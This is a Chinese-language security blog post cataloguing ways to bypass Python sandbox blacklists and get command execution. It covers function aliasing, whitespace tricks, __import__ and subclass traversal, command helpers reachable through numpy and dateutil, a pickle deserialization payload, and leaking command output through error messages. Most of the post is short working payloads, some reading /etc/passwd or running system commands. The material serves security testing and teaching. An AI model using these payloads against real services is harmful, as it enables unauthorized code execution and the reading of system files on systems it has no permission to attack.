1.黑名单下的函数;
1.1 变量 = 函数名
1 2 3 |
a = open print(a(<span class="hljs-string">"/etc/passwd"</span>).read()) |
1.2 空格+换行
经过测试,函数名后面加点空格换一行都能执行。
1 2 3 |
<span class="hljs-keyword">print</span> open (<span class="hljs-string">"/etc/passwd"</span>).read() |
2.第三方库内置的函数;
一般都会有在白名单的第三方库的,除非他们程序员太厉害了,所有模块都自己实现。
如:numpy这个库,内置了很多可以执行命令的地方。
1 2 3 |
<span class="hljs-keyword">from</span> numpy.distutils.exec_command <span class="hljs-keyword">import</span> _exec_command <span class="hljs-keyword">as</span> system system(<span class="hljs-string">"ls /"</span>) |
3.import的方式;
大概常用的就几种,第三方的就不说了,欢迎补充
3.1 利用as取别名
1 2 |
<span class="hljs-keyword">import</span> os <span class="hljs-keyword">as</span> o |
3.2 内置函数 import
1 2 |
__import__(<span class="hljs-string">"os"</span>).system(<span class="hljs-string">"whoami"</span>) |
3.3 逗号+as(如果知道目录结构还可以用点号或者星号)
1 2 |
<span class="hljs-keyword">import</span> time <span class="hljs-keyword">as</span> t,os <span class="hljs-keyword">as</span> o,urllib |
3.4 魔术方法(思路来自:美丽联合集团安全应急响应中心@Viarus)
1 2 |
[].__class__.__base__.__subclasses__()<span class="hljs-comment">#魔术方法,加载全部模块,需要for遍历之后找到模块来调用。</span> |
3.5 getattr函数(首先你需要在内存中已经加载这个库,@kttzd师傅的姿势)
如numpy库的
1 2 3 |
<span class="hljs-keyword">from</span> numpy.core <span class="hljs-keyword">import</span> * _ufunc_reconstruct(<span class="hljs-string">"os"</span>,<span class="hljs-string">"system"</span>)(<span class="hljs-string">"whoami"</span>) |
4.__init__.py 里面import的库;
这个地方很容易被程序员忽略...
__init__.py 里面import的库,我们可以直接使用。
如:dateutil这个第三方库。
dateutil/zoneinfo/__init__.py 下第三行就有import os
1 2 3 |
<span class="hljs-keyword">from</span> dateutil <span class="hljs-keyword">import</span> zoneinfo zoneinfo.os.system(<span class="hljs-string">"ls /"</span>) |
5.反序列;
1 2 3 |
<span class="hljs-keyword">import</span> pickle pickle.loads(<span class="hljs-string">b"cos\nsystem\n(S'ls'\ntR."</span>) |
这里有个经典的案例:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
再分享个没啥用tips,这次测试碰到的一个案例,因为之前被别人挖过,所以限制了对外发请求,又不能print打印出命令执行的结果,当时不是很肯定存在命令执行,没法证明就没法提交上去,后面用变量接收命令执行的结果然后用int函数强制转换,报错的时候就把命令执行返回的str带出来了(后面@kttzd 师傅翻出这个系统的文档,有个函数专门用来打印日志...)。
例如:
最后的最后再感谢下@kttzd 师傅的姿势。
参考:
https://docs.python.org/2/reference/datamodel.html#special-method-names
https://mp.weixin.qq.com/s?__biz=MzIzOTQ5NjUzOQ==&mid=2247483665&idx=1&sn=4b18de09738fdc5291634db1ca2dd55a
https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
您必须[登录] 才能发表留言!